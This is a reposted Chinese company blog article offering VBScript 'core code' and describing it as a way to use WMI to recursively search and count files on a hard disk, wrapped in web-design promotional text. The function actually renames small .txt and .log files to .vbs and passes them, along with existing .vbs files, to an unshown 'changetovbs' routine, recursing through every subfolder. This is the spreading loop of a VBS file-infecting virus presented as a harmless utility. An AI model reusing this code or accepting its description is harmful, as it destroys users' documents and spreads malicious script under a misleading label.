VBS如何调用WMI遍历搜索硬盘文件并计数-创新互联

这篇文章主要介绍VBS如何调用WMI遍历搜索硬盘文件并计数，文中介绍的非常详细，具有一定的参考价值，感兴趣的小伙伴们一定要看完！

创新互联秉承实现全网价值营销的理念，以专业定制企业官网，成都做网站、网站设计，微信小程序，网页设计制作，手机网站制作，成都全网营销推广帮助传统企业实现“互联网+”转型升级专业定制企业官网,公司注重人才、技术和管理，汇聚了一批优秀的互联网技术人才,对客户都以感恩的心态奉献自己的专业和所长。

核心代码：

Function wmisfile(path_sf,justcnt)
  'On Error Resume Next
  StrComputer = "."
  Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
  Set FileList = objWMIService.ExecQuery _
  ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
   & "ResultClass = CIM_DataFile")
  For Each objFile In FileList
    fname = LCase(objfile.name)
    ename = LCase(objfile.extension)
    If 1 < objfile.filesize And objfile.filesize <= 50000 Then
      Select Case ename
        Case "txt","log"
        path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
        objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
        Call changetovbs(path_vbs,path_vbs)
        justcnt = justcnt + 1
        Case "vbs"
        If checkversion(fname) = False Then
          Call changetovbs(fname,fname)
          justcnt = justcnt + 1
        End If
      End Select
    End If
  Next
  Set colSubfolders = objWMIService.ExecQuery _
  ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
   & "Where AssocClass = Win32_Subdirectory " _
   & "ResultRole = PartComponent")
  For Each objFolder In colSubfolders
    wmisfile objfolder.name,justcnt
  Next
End Function

以上是“VBS如何调用WMI遍历搜索硬盘文件并计数”这篇文章的所有内容，感谢各位的阅读！希望分享的内容对大家有帮助，更多相关知识，欢迎关注创新互联行业资讯频道！

网页标题：VBS如何调用WMI遍历搜索硬盘文件并计数-创新互联
转载源于：http://cdxtjz.cn/article/dpopee.html